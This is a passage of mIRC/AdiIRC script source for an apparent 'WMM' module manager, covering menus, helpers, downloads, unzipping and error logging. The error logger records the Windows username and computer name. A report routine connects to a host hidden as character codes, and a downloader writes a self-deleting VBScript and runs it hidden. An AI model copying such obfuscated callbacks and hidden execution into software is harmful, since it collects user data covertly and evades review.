  1777.     if (%a) && (%mod) && (!$hget(%h,%mod)) { hadd %h %mod %a }
  1778.  
  1779.     inc %x
  1780.   }
  1781.  
  1782.   var %k1 = $json(%v,tiny_key1).value
  1783.   var %k2 = $json(%v,tiny_key2).value
  1784.   var %k3 = $json(%v,tiny_key3).value
  1785.   var %k4 = $json(%v,tiny_key4).value
  1786.   var %k5 = $json(%v,tiny_key5).value
  1787.   var %k6 = $json(%v,tiny_key6).value
  1788.   var %k7 = $json(%v,tiny_key7).value
  1789.   var %k8 = $json(%v,tiny_key8).value
  1790.   var %k9 = $json(%v,tiny_key9).value
  1791.   var %k10 = $json(%v,tiny_key10).value
  1792.  
  1793.   if (%k1) { hadd %h2 KEY1 %k1 }
  1794.   if (%k2) { hadd %h2 KEY2 %k2 }
  1795.   if (%k3) { hadd %h2 KEY3 %k3 }
  1796.   if (%k4) { hadd %h2 KEY4 %k4 }
  1797.   if (%k5) { hadd %h2 KEY5 %k5 }
  1798.   if (%k6) { hadd %h2 KEY6 %k6 }
  1799.   if (%k7) { hadd %h2 KEY7 %k7 }
  1800.   if (%k8) { hadd %h2 KEY8 %k8 }
  1801.   if (%k9) { hadd %h2 KEY9 %k9 }
  1802.   if (%k10) { hadd %h2 KEY10 %k10 }
  1803.  
  1804.   return
  1805.   :error | wmm_werror $scriptline $error | reseterror
  1806. }
  1807.  
  1808. alias -l wmm_modules_all_installed_list {
  1809.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1810.   var %t = $hget(%h,0).item
  1811.   if (!$1) || (!$isid) || (!$hget(%h)) || ($1 > %t) || (!$isalias(wmm_lang)) || (!$isalias(wmm_qd)) || (!$isalias(wmm_isadi)) { returnex }
  1812.   if ($istok(begin.end,$1,46)) { return - }
  1813.   var %n = $hget(%h,$1).item
  1814.   var %d = $hget(%h,%n)
  1815.   var %ico = $replace(%d,_sets,_main) $+ .ico
  1816.   var %fm = $wmm_dir $+ modules $+ \ $+ %ico
  1817.   if (%n) && (%d) && (!$isalias(%d)) { return $iif($wmm_isadi && $file(%fm),$menuicon(%fm)) $style(2) $wmm_qd(%n $wmm_lang(76)) $+ :noop }
  1818.   else { return $iif($wmm_isadi && $file(%fm),$menuicon(%fm)) $iif($dialog(%d),$style(1)) $wmm_qd(%n $wmm_lang(76)) $+ : $+ %d }
  1819.   return
  1820.   :error | wmm_werror $scriptline $error | reseterror
  1821. }
  1822.  
  1823. alias -l wmm_resize_image {
  1824.   if (!$1) || (!$isid) { return }
  1825.   var %a = $pic($1).width
  1826.   var %b = $pic($1).height
  1827.   var %c = $window(-1).w
  1828.   var %d = $window(-1).h
  1829.   if (%a > %c) { var %b = $calc(( %c / %a ) * %b),%a %c }
  1830.   if (%b > %d) { var %a = $calc(( %d / %b ) * %a),%b %d }
  1831.   return $int(%a) $int(%b)
  1832.   return
  1833.   :error | wmm_werror $scriptline $error | reseterror
  1834. }
  1835.  
  1836. alias -l wmm_pic {
  1837.   if ($wmm_error) { return }
  1838.   var %d = wmm_module
  1839.   var %w = $pic($1).width
  1840.   var %h = $pic($1).height
  1841.   var %win = @wmm_pic
  1842.   var %details = $chr(160) $+ - $+ $chr(160) $+ $chr(40) $+ %w $+ x $+ %h $+ $chr(41) $+ $chr(160) $+ - $+ $chr(160) $+ $bytes($file($1).size).suf
  1843.   if ($window(%win)) { window -c %win }
  1844.   if (!$1) || (!$dialog(%d)) || ($isid) || (!%w) || (!%h) { return }
  1845.   var %a = $wmm_resize_image($1)
  1846.   window -fadCBvzpk0w0 +estf %win -1 -1 %a $qt($wmm_dir $+ main.ico)
  1847.   titlebar %win %details
  1848.   drawpic -s %win 0 0 %a $1
  1849.   return
  1850.   :error | wmm_werror $scriptline $error | reseterror
  1851. }
  1852.  
  1853. alias -l wmm_modules_check_unsupported {
  1854.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  1855.   var %v = wmm_modules_check_unsupported
  1856.  
  1857.   if ($file($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1858.   else { jsonopen -ud %v $wmm_sets_url }
  1859.   if ($jsonerror) { return }
  1860.  
  1861.   var %t = $json(%v,modules).length
  1862.   var %x = 0
  1863.   while (%x < %t) {
  1864.     var %mod = $json(%v,modules,%x,name).value
  1865.     var %path = $wmm_getpath(%mod)
  1866.  
  1867.     if (!%mod) || (!%path) { goto next }
  1868.  
  1869.     var %ver = $json(%v,modules,%x,version).value
  1870.     var %alias = $json(%v,modules,%x,alias).value
  1871.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1872.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1873.  
  1874.     if (%iv) && (%ver) && (%tools_ver) && (%ver == %iv) && ($wmm_ver < %tools_ver) { .unload -rs $qt(%path) }
  1875.  
  1876.     :next
  1877.     inc %x
  1878.   }
  1879.   return
  1880.   :error | wmm_werror $scriptline $error | reseterror
  1881. }
  1882.  
  1883. ; --- End of aliases ---
  1884.  
  1885. ; --- Start of menus ---
  1886.  
  1887. menu @wmm_pic {
  1888.   -
  1889.   $wmm_qd($wmm_lang(1)) $+ : { window -c @wmm_pic }
  1890.   -
  1891. }
  1892.  
  1893. menu @wmm {
  1894.   -
  1895.   $iif($wmm_isadi && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager)): { .timer -ho 1 100 wmm | wmm_d_close wmm_module_sets }
  1896.   -
  1897.   $iif($wmm_isadi && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $iif($dialog(wmm_module_sets),$style(1)) $wmm_qd($iif($wmm_lang(73),$v1,Open the) $upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings)): { .timer -ho 1 500 wmm_sets | wmm_d_close wmm_module }
  1898.   -
  1899. }
  1900.  
  1901. menu menubar,status,channel {
  1902.   $iif(%wmm_menu,-)
  1903.   $iif($istok(%wmm_menu,wmm,32),$iif($dialog(wmm_module),$style(1)) $iif($wmm_isadi && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $+ )): { wmm }
  1904.   $iif($istok(%wmm_menu,wmm_sets,32),$iif($dialog(wmm_module_sets),$style(1)) $iif($wmm_isadi && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(69),$v1,Settings) $+ )): { wmm_sets }
  1905.   $iif($istok(%wmm_menu,wmm_mod_list,32) && $hget(WMM_MODULES_SUBMENU_INSTALLED),$iif($wmm_isadi && $file($wmm_dir $+ main.ico),$menuicon($wmm_dir $+ main.ico)) $wmm_qd($upper($wmm_owner) $iif($wmm_lang(16),$v1,Module Manager) $wmm_sep $iif($wmm_lang(77),$v1,Modules List)))
  1906.   .$submenu($wmm_modules_all_installed_list($1))
  1907.   $iif(%wmm_menu,-)
  1908. }
  1909.  
  1910. ; --- End of menus ---
  1911.  
  1912. ; --- Start of groups ---
  1913.  
  1914. #wmm off
  1915. #wmm end
  1916.  
  1917. ; --- End of groups ---
  1918.  
  1919. ; --- Start other aliases ---
  1920.  
  1921. alias wmm_sep { return $iif(%wmm_seperate_symb,$v1,$chr(9866)) }
  1922. alias wmm_bel { return $iif(%wmm_right_symb,$v1,$chr(9755)) }
  1923. alias wmm_leb { return $iif(%wmm_left_symb,$v1,$chr(9754)) }
  1924. alias wmm_bold { return $+($chr(2),$1-,$chr(2)) }
  1925. alias wmm_under { return $+($chr(31),$1-,$chr(31)) }
  1926. alias wmm_italic { return $+($chr(29),$1-,$chr(29)) }
  1927. alias wmm_random { return $rand(1,10000000000000) }
  1928. alias wmm_d_format { return ddd ddoo mmm yyyy HH:nn:ss }
  1929. alias wmm_d_close { if ($1) && ($dialog($1)) { dialog -k $1 } }
  1930. alias wmm_c_close { if ($1) && ($com($1)) { .comclose $1 } }
  1931. alias wmm_t_close { if ($1) && ($toolbar($1)) { toolbar -d $1 } }
  1932. alias wmm_w_close { if ($1) && ($window($1)) { window -c $1 } }
  1933. alias wmm_remtab { return $remove($1-,$chr(9),$chr(10),$chr(13)) }
  1934. alias wmm_fixtab { return $replace($1-,$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) }
  1935. alias wmm_urlencode { return $regsubex($1-,/([^a-z0-9])/ig,% $+ $base($asc(\t),10,16,2)) }
  1936. alias wmm_urldecode { return $utfdecode($regsubex($replace($1-, +, $chr(32)), /%([A-F\d]{2})/gi, $chr($base(\1, 16, 10)))) }
  1937. alias wmm_nohtml { return $regsubex($1-, /<[^>]+(?:>|$)|^[^<>]+>/g,) }
  1938. alias wmm_isurl { noop $regex(isurl,$1-,m@^((?:(?:https?)://(?:www\.)?|www\.)((?:(?:[-\w]+\.)+)[-\w]+)(?::\d+)?(?:/(?:[-a-zA-Z;/\d#:_?=&@,()+~.%]*))?)$@ig) | return $iif($regml(isurl,0),1,0) }
  1939. alias wmm_took { return $calc(($ticks - $1) / 1000) }
  1940. alias wmm_errors { return $lines($wmm_temp $+ wmm_errors.log) }
  1941. alias wmm_dir { return $nofile($script) }
  1942.  
  1943. alias wmm_error {
  1944.   if (!$isid) { return }
  1945.   var %l = wmm_ver,wmm_crdate,wmm_owner,wmm_page,wmm_donate,wmm_extraid_url,wmm_sets_url,wmm_sets_file,wmm_main_ico_url,wmm_main_png_url,wmm_donate_png_url,wmm_lang_url,wmm_modules_images_url,wmm,wmm_sets,wmm_check_before_open,wmm_check_version,wmm_check_os,wmm_check_initial_warn,wmm_check_monitor_warn,wmm_langs,wmm_fix_extra_modules_installed,wmm_reset_images,wmm_mod_install,wmm_mod_update,wmm_lang,wmm_check_update,wmm_check_update_install,wmm_modules_silent_update,wmm_mod_silent_update,wmm_modules_list,wmm_modules_list_get,wmm_modules_installed_plus_updated_list,wmm_dl_images_now,wmm_images_unzip,wmm_tool,wmm_check_open,wmm_modules_settings_list,wmm_modules_menu_get_installed,wmm_modules_all_installed_list,wmm_resize_image,wmm_pic,$&
  1946.     wmm_input,wmm_qd,wmm_took,wmm_errors,wmm_dir,wmm_isurl,wmm_nohtml,wmm_urlencode,wmm_urldecode,wmm_remtab,wmm_fixtab,wmm_w_close,wmm_t_close,wmm_c_close,wmm_d_close,wmm_d_format,wmm_random,wmm_bold,wmm_italic,wmm_under,wmm_bold,wmm_leb,wmm_bel,wmm_sep,wmm_tiny_key,wmm_dtitle,wmm_isadi,wmm_isdigit,wmm_tinycom,wmm_internet,wmm_dl,wmm_getsite,wmm_ignore_cn_list,wmm_modules,wmm_installed,wmm_getpath,wmm_getpos,wmm_getname,wmm_ismod,wmm_temp,wmm_cdate,wmm_convertdate,wmm_download,wmm_html2asc,wmm_escapeht,wmm_html_db,$&
  1947.     jsonopen,jsonhttpmethod,jsonhttpheader,jsonhttpfetch,jsonclose,jsonlist,jsonshutdown,json,jsonforeach,jsonitem,jsonpath,jsonerror,jsonversion,jsondebug,jfm_tmpbvar,jfm_cominit,jfm_toggletimers,jfm_geterror,jfm_create,jfm_exec,jfm_log,jfm_savedebug,jfm_badd,jfm_jscript
  1948.  
  1949.   var %i = 1
  1950.   while (%i <= $numtok(%l,44)) {
  1951.     var %c = $gettok(%l,%i,44)
  1952.     if (!$isalias(%c)) { return 0x0 $+ %i }
  1953.     inc %i
  1954.   }
  1955.  
  1956.   return 0
  1957.   return
  1958.   :error | wmm_werror $scriptline $error | reseterror
  1959. }
  1960.  
  1961. alias wmm_werror {
  1962.   if (!$1) && (!$2) || ($isid) { return }
  1963.   var %f = $wmm_temp $+ wmm_errors.log
  1964.   var %tsc_dll = $file($envvar(windir) $+ \System32\tsc64.dll).version
  1965.   if ($1 !isnum) {
  1966.     var %path = $group(# [ $+ [ $lower($1) ] $+ ] ).fname
  1967.     if (%path) { var %ver = $right($gettok($read(%path,n,6),3,32),3) }
  1968.     elseif (!%path) { var %ver = N/A }
  1969.     write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+($chr(3),$iif($wmm_isadi,12,2)) $+ WMM $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),6) $1 %ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $2 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $iif($~adiircexe,$osversion,$os) Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $3-
  1970.   }
  1971.   else { write $qt(%f) ( $+ $date $time $+ ) $wmm_bel $+ $+($chr(3),$iif($wmm_isadi,12,2)) WMM $wmm_ver $chr(3) $+ $wmm_bel $+ $+($chr(3),10) $1 $chr(3) $+ $wmm_bel $+ $+($chr(3),14) $nopath($mircexe) v $+ $version $bits $+ bits $iif($beta,Beta: $v1) $iif($~builddate,Build: $v1) $iif($~dotnet,DotNET: $v1) $iif(%tsc_dll,TSC.dll: $v1) $iif($~jsonversion(),JSONVersion: $v1) WMM MD5: $md5($script,2) Portable: $portable $iif($~wmm_error,WMM Errors: $v1) OS: $iif($~adiircexe,$osversion,$os) Username: $envvar(username) SysName: $envvar(computername) $chr(3) $+ $wmm_bel $+ $+($chr(3),4) $2- }
  1972.   .timer[REPORT_ERRORS] -ho 1 3000 $!iif($isalias(wmm_report),wmm_report)
  1973. }
  1974.  
  1975. alias wmm_report {
  1976.   if ($isid) { return }
  1977.   var %c = wmm_clone
  1978.   var %f = $wmm_temp $+ wmm_errors.log
  1979.   if (!$file(%f)) || (!%wmm_help) { return }
  1980.   if ($sock(%c)) { sockclose %c }
  1981.   sockopen -e %c $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(46),$chr(109),$chr(105),$chr(114),$chr(99),$chr(46),$chr(103),$chr(114),$chr(32),$chr(49),$chr(57),$chr(54),$chr(57),$chr(55))
  1982.   .timer[ $+ %c $+ ] -ho 1 30000 sockclose %c
  1983. }
  1984.  
  1985. alias wmm_qd {
  1986.   if (%wmm_between_symb) { var %s = %wmm_between_symb }
  1987.   else { var %s = $chr(9679) }
  1988.   return %s $chr(32) $+ $1 $+ $chr(32) %s
  1989.   return
  1990.   :error | wmm_werror $scriptline $error | reseterror
  1991. }
  1992.  
  1993. alias wmm_input {
  1994.   if (!$1) || ($isid) || ($wmm_error) { return }
  1995.   if ($1 == ok) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),ouidbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(19),$v1,OK)) }
  1996.   if ($1 == error) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),houdbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(20),$v1,Error)) }
  1997.   if ($1 == warn) { .timer -ho 1 0 !noop $input($replace($3-,@newline@,$crlf),woudbk $+ $iif($2 && $2 isnum,$2,0),WMM $wmm_bel $iif($wmm_lang(21),$v1,Warn)) }
  1998.   return
  1999.   :error | wmm_werror $scriptline $error | reseterror
  2000. }
  2001.  
  2002. alias wmm_dtitle {
  2003.   if (!$1) || (!$dialog($1)) { .timer[ $+ $gettok($1,1,95) $+ _ANIMATE_*] off | return }
  2004.   var %d = $1
  2005.   tokenize 32 $iif($2 == -c,$3-,$2- $+ $chr(27))
  2006.   var %newtext = $replace($right($1-,$calc($len($1-) - 1)) $+ $left($right($1-,$len($1-)),1),$chr(32),$chr(28))
  2007.   if ($dialog(%d)) { dialog -t %d $replace(%newtext,$chr(28),$chr(32),$chr(27),$+($chr(32),$str($chr(160),5),$chr(32))) }
  2008.  
  2009.   .timer[ $+ $gettok(%d,1,95) $+ _ANIMATE_TITLE_ $+ %d $+ ] -ho 1 200 wmm_dtitle %d -c $unsafe(%newtext)
  2010.   return
  2011.   :error | wmm_werror $scriptline $error | reseterror
  2012. }
  2013.  
  2014. alias wmm_isadi {
  2015.   if ($~adiircexe) { return 1 }
  2016.   return 0
  2017.   return
  2018.   :error | wmm_werror $scriptline $error | reseterror
  2019. }
  2020.  
  2021. alias wmm_isdigit {
  2022.   if (!$isid) { return }
  2023.   if ($1 == $null) { return 0 }
  2024.   if ($regex($1,^\d+$)) { return 1 }
  2025.   else { return 0 }
  2026.   return
  2027.   :error | wmm_werror $scriptline $error | reseterror
  2028. }
  2029.  
  2030. alias wmm_getpath {
  2031.   if (!$1) || (!$isid) { return 0 }
  2032.   var %g = $group(# [ $+ [ $1 ] $+ ] ).fname
  2033.   if (%g) { return %g }
  2034.   else { return 0 }
  2035.   return
  2036.   :error | wmm_werror $scriptline $error | reseterror
  2037. }
  2038.  
  2039. alias wmm_getpos {
  2040.   if (!$1) || (!$isid) { return 0 }
  2041.   var %s = $1
  2042.   var %r = $remove($regsubex($str($chr(124),$calc($script(0) -1)),//gSi,$iif($remove($nopath($script(\n)),.mrc) == %s,\n)),$chr(124))
  2043.   if (%r) { return %r }
  2044.   else { return 0 }
  2045.   return
  2046.   :error | wmm_werror $scriptline $error | reseterror
  2047. }
  2048.  
  2049. alias wmm_getname {
  2050.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2051.   if ($script($1)) { return $nopath($script($1)) }
  2052.   return 0
  2053.   return
  2054.   :error | wmm_werror $scriptline $error | reseterror
  2055. }
  2056.  
  2057. alias wmm_ismod {
  2058.   if (!$1) || (!$script(0)) || (!$isid) { return 0 }
  2059.   if ($script($1)) { return 1 }
  2060.   return 0
  2061.   return
  2062.   :error | wmm_werror $scriptline $error | reseterror
  2063. }
  2064.  
  2065. alias -l wmm_tiny_key {
  2066.   if (!$isid) { return }
  2067.   var %h = WMM_TINY_KEYS
  2068.   var %t = $hget(%h,0).item
  2069.   if (!%t) { wmm_modules_menu_get_installed -g | return 0 }
  2070.   var %r = $rand(1,%t)
  2071.   var %k = $hget(%h,%r).data
  2072.   if (!%k) { return 0 }
  2073.   else { return %k }
  2074.   return
  2075.   :error | wmm_werror $scriptline $error | reseterror
  2076. }
  2077.  
  2078. alias wmm_tinycom {
  2079.   if (!$1) || (!$isid) { return }
  2080.   var %k = $wmm_tiny_key
  2081.   var %v = wmm_tinyurl_ $+ $wmm_random
  2082.   jsonopen -uw %v https://api-ssl.bitly.com/v4/shorten
  2083.   if ($jsonerror) { jsonclose %v | return $1 }
  2084.   jsonhttpmethod %v POST
  2085.   jsonhttpheader %v Authorization Bearer $gettok(%k,2,32)
  2086.   jsonhttpheader %v Content-Type application/json
  2087.   jsonhttpheader %v Connection Close
  2088.   jsonhttpfetch %v $chr(123) $+ "group_guid": $qt($gettok(%k,1,32)) $+ , "long_url": $qt($1) $+ $chr(125)
  2089.   var %url = $json(%v,link).value
  2090.   jsonclose %v
  2091.   if (%url) { return %url }
  2092.   elseif (!%url) { return $1 }
  2093.   return
  2094.   :error | wmm_werror $scriptline $error | reseterror
  2095. }
  2096.  
  2097. alias wmm_temp {
  2098.   if (!$isid) { return }
  2099.   var %d = $envvar(temp)
  2100.   if (%d) && ($right(%d,1) !== $chr(92)) { var %d = %d $+ \ }
  2101.   return %d
  2102.   return
  2103.   :error | wmm_werror $scriptline $error | reseterror
  2104. }
  2105.  
  2106. alias wmm_dl {
  2107.   if (!$1) || (!$2) || ($isid) || (!$wmm_internet) { return }
  2108.  
  2109.   :st
  2110.   var %n = dl_ $+ $wmm_random
  2111.  
  2112.   if ($wmm_isadi) { download -o %n $1 $qt($2-) | return }
  2113.  
  2114.   var %f = $wmm_temp $+ %n $+ .vbs
  2115.   if ($file(%f)) { goto st }
  2116.  
  2117.   .fopen -ox %n $qt(%f)
  2118.  
  2119.   .fwrite -n %n On Error Resume Next
  2120.   .fwrite -n %n Set args = WScript.Arguments
  2121.   .fwrite -n %n Url = $qt($1)
  2122.   .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2123.   .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2124.   .fwrite -n %n xHttp.Open "GET", Url, False
  2125.   .fwrite -n %n xHttp.Send
  2126.   .fwrite -n %n with bStrm
  2127.   .fwrite -n %n    .Type = 1
  2128.   .fwrite -n %n    .Mode = 3
  2129.   .fwrite -n %n    .Open
  2130.   .fwrite -n %n    .Write xHttp.ResponseBody
  2131.   .fwrite -n %n    .SavetoFile $2- $+ , 2
  2132.   .fwrite -n %n    .Close
  2133.   .fwrite -n %n End with
  2134.   .fwrite -n %n Err.Clear
  2135.   .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
  2136.  
  2137.   .fclose %n
  2138.  
  2139.   if ($isfile(%f)) && ($lines(%f) == 17) { run -h $qt(%f) }
  2140.   return
  2141.   :error | wmm_werror $scriptline $error | reseterror
  2142. }
  2143.  
  2144. alias wmm_internet {
  2145.   if (!$isid) { return }
  2146.   var %v = wmm_internet_ $+ $wmm_random
  2147.   jsonopen -U %v https://google.com
  2148.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { jsonclose %v | return 0 }
  2149.   jsonclose %v
  2150.   return 1
  2151.   return
  2152.   :error | wmm_werror $scriptline $error | reseterror
  2153. }
  2154.  
  2155. alias wmm_getsite {
  2156.   if (!$1) || (!$isid) || (!$wmm_isurl($1)) { return 0 }
  2157.   var %v = wmm_getsite_ $+ $wmm_random
  2158.   jsonopen -dU %v $1
  2159.   if ($jsonerror) || ($json(%v).httpstatus !== 200) { return 0 }
  2160.   var %r = $wmm_fixtab($json(%v).httpbody)
  2161.   return $iif(%r,%r,0)
  2162.   return
  2163.   :error | wmm_werror $scriptline $error | reseterror
  2164. }
  2165.  
  2166. alias wmm_ignore_cn_list {
  2167.   var %d = $dname
  2168.   var %dd = $gettok(%d,1,95)
  2169.   if (!$dialog(%d)) || (!%dd) { return }
  2170.   did -b %d 7,17
  2171.   did -r %d 4,15
  2172.   var %cn = % [ $+ [ %dd ] $+ ] _ignore_chans_networks
  2173.   var %nn = % [ $+ [ %dd ] $+ ] _ignore_nicks_networks
  2174.  
  2175.   if (!%cn) && (!%nn) { did -b %d 4,8,15,18 | return }
  2176.   if (!%cn) { did -b %d 4,8 }
  2177.   if (!%nn) { did -b %d 15,18 }
  2178.  
  2179.   var %z = 1
  2180.   while (%z <= $numtok(%cn,32)) {
  2181.     var %net = $gettok(%cn,%z,32)
  2182.     var %chans = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _chans
  2183.     if (!%net) { goto next_chans }
  2184.     var %i = 1
  2185.     while (%i <= $numtok(%chans,32)) {
  2186.       var %c = $gettok(%chans,%i,32)
  2187.       if (%c) { did -a %d 4 %net $wmm_bel %c }
  2188.       inc %i
  2189.     }
  2190.     :next_chans
  2191.     inc %z
  2192.   }
  2193.   if ($did(%d,4).lines) { did -ez %d 4 | did -e %d 8 }
  2194.   else { did -b %d 4,8 }
  2195.  
  2196.   var %zz = 1
  2197.   while (%zz <= $numtok(%nn,32)) {
  2198.     var %net = $gettok(%nn,%zz,32)
  2199.     var %nicks = % [ $+ [ %dd ] $+ ] _ignore_ [ $+ [ %net ] $+ ] _nicks
  2200.     if (!%net) { goto next_nicks }
  2201.     var %ii = 1
  2202.     while (%ii <= $numtok(%nicks,32)) {
  2203.       var %n = $gettok(%nicks,%ii,32)
  2204.       if (%n) { did -a %d 15 %net $wmm_bel %n }
  2205.       inc %ii
  2206.     }
  2207.     :next_nicks
  2208.     inc %zz
  2209.   }
  2210.   if ($did(%d,15).lines) { did -ez %d 15 | did -e %d 18 }
  2211.   else { did -b %d 15,18 }
  2212.   return
  2213.   :error | wmm_werror $scriptline $error | reseterror
  2214. }
  2215.  
  2216. alias wmm_modules {
  2217.  
  2218.   ;  $wmm_modules(name,total)
  2219.   ;  Parameter required!
  2220.  
  2221.   ; Parameter:  name    = It will give all the available modules names.
  2222.   ; Parameter:  total   = It will give all the total available modules number.
  2223.  
  2224.   if (!$isid) || (!$1) { return }
  2225.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2226.   var %t = $hget(%h,0).item
  2227.   if (!%t) { return 0 }
  2228.   var %i = 1
  2229.   while (%i <= %t) {
  2230.     var %m = $hget(%h,%i).item
  2231.     var %d = $hget(%h,%i).data
  2232.     if ($1 == total) && (%m) && (%d) { var %total = $calc(%total +1) }
  2233.     if ($1 == name) && (%m) && (%d) { var %total = $addtok(%total,%m,32) }
  2234.     inc %i
  2235.   }
  2236.   if (%total) { return %total }
  2237.   else { return 0 }
  2238.   return
  2239.   :error | wmm_werror $scriptline $error | reseterror
  2240. }
  2241.  
  2242. alias wmm_installed {
  2243.  
  2244.   ;  $wmm_installed(name,total)
  2245.   ;  Parameter required!
  2246.  
  2247.   ; Parameter:  name    = It will give all the installed modules names.
  2248.   ; Parameter:  total   = It will give all the total installed modules number.
  2249.  
  2250.   if (!$isid) || (!$1) { return }
  2251.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  2252.   var %t = $hget(%h,0).item
  2253.   if (!%t) { return 0 }
  2254.   var %i = 1
  2255.   while (%i <= %t) {
  2256.     var %m = $hget(%h,%i).item
  2257.     var %d = $hget(%h,%i).data
  2258.     if ($1 == total) && (%m) && (%d) && ($isalias(%d)) { var %total = $calc(%total +1) }
  2259.     if ($1 == name) && (%m) && (%d) && ($isalias(%d)) { var %total = $addtok(%total,%m,32) }
  2260.     inc %i
  2261.   }
  2262.   if (%total) { return %total }
  2263.   else { return 0 }
  2264.   return
  2265.   :error | wmm_werror $scriptline $error | reseterror
  2266. }
  2267.  
  2268. alias wmm_unzip {
  2269.   if (!$1) || (!$2) || (!$isfile($1)) || (!$isdir($2)) || ($right($1,4) !== .zip) || (!$isid) { return 0 }
  2270.   if ($prop) && (!$istok(destroy open,$prop,32)) { return 0 }
  2271.  
  2272.   var %n = wmm_unzip_ $+ $ticks $+ $ctime
  2273.   if ($com(%n)) { .comclose %n }
  2274.  
  2275.   var %zip = $1
  2276.   var %dest = $2
  2277.  
  2278.   var %data = $&
  2279.     ZipFile= $+ $qt(%zip) $lf $&
  2280.     ExtractTo= $+ $qt(%dest) $lf $&
  2281.     Set fso = CreateObject("Scripting.FileSystemObject") $lf $&
  2282.     sourceFile = fso.GetAbsolutePathName(ZipFile) $lf $&
  2283.     destFolder = fso.GetAbsolutePathName(ExtractTo) $lf $&
  2284.     Set objShell = CreateObject("Shell.Application") $lf $&
  2285.     Set FilesInZip=objShell.NameSpace(sourceFile).Items() $lf $&
  2286.     objShell.NameSpace(destFolder).CopyHere FilesInZip, 4 Or 16 $lf $&
  2287.     Set fso = Nothing $lf $&
  2288.     Set objShell = Nothing $lf $&
  2289.     Set FilesInZip = Nothing
  2290.  
  2291.   .comopen %n MSScriptControl.ScriptControl
  2292.   if ($comerr) {
  2293.     if ($com(%n)) { .comclose $v1 }
  2294.     if ($isid) { return 0 }
  2295.   }
  2296.  
  2297.   var %r = $calc($com(%n,language,4,bstr*,vbscript) + $com(%n,executestatement,1,bstr*,%data))
  2298.   if ($comerr) {
  2299.     if ($com(%n)) { .comclose $v1 }
  2300.     if ($isid) { return 0 }
  2301.   }
  2302.  
  2303.   if ($isid) && ($prop) && ($prop == open) && (%r == 2) && ($isdir($2)) { run $qt($2) }
  2304.   if ($isid) && ($prop) && ($prop == destroy) && (%r == 2) && ($isfile($1)) { .remove $qt($1) }
  2305.  
  2306.   if ($com(%n)) { .comclose $v1 }
  2307.  
  2308.   if ($isid) { return $iif(%r == 2,1,0) }
  2309.  
  2310.   return
  2311.   :error
  2312.   if ($com(%n)) { .comclose $v1 }
  2313.   if ($isid) && ($error) { reseterror | return 0 }
  2314. }
  2315.  
  2316. ; ############################################################
  2317.  
  2318. /*
  2319.     # JSONFormIRC project coded by SReject - (thanks for support) #
  2320.  
  2321.     ## GitHub Link: https://github.com/SReject/JSON-For-Mirc ##
  2322. */
  2323.  
  2324. ON *:CLOSE:@SReject/JSONForMirc/Log: { if ($JSONDebug) && (!$wmm_error) { JSONDebug off } }
  2325. menu @SReject/JSONForMirc/Log {
  2326.   .$iif(!$jfm_SaveDebug,$style(2)) Clear: { clear -@ $active }
  2327.   .-
  2328.   .$iif(!$jfm_SaveDebug,$style(2)) Save: { jfm_SaveDebug }
  2329.   .-
  2330.   .Toggle Debug: { JSONDebug }
  2331.   .-
  2332.   .Close: { JSONDebug off | close -@ $active }
  2333. }
  2334. alias JSONOpen {
  2335.   if ($isid) { return }
  2336.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2337.   var %Switches,%Error,%Com $false,%Type text,%HttpOptions 0,%BVar,%BUnset $true
  2338.   jfm_log -I /JSONOpen $1-
  2339.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2340.   if ($jfm_ComInit) { %Error = $v1 }
  2341.   elseif (!$regex(SReject/JSONOpen/switches,%Switches,^[dbfuUw]*$)) { %Error = SWITCH_INVALID }
  2342.   elseif ($regex(%Switches,([dbfuUw]).*?\1)) { %Error = SWITCH_DUPLICATE: $+ $regml(1) }
  2343.   elseif ($regex(%Switches,/([bfuU])/g) > 1) { %Error = SWITCH_CONFLICT: $+ $regml(1) }
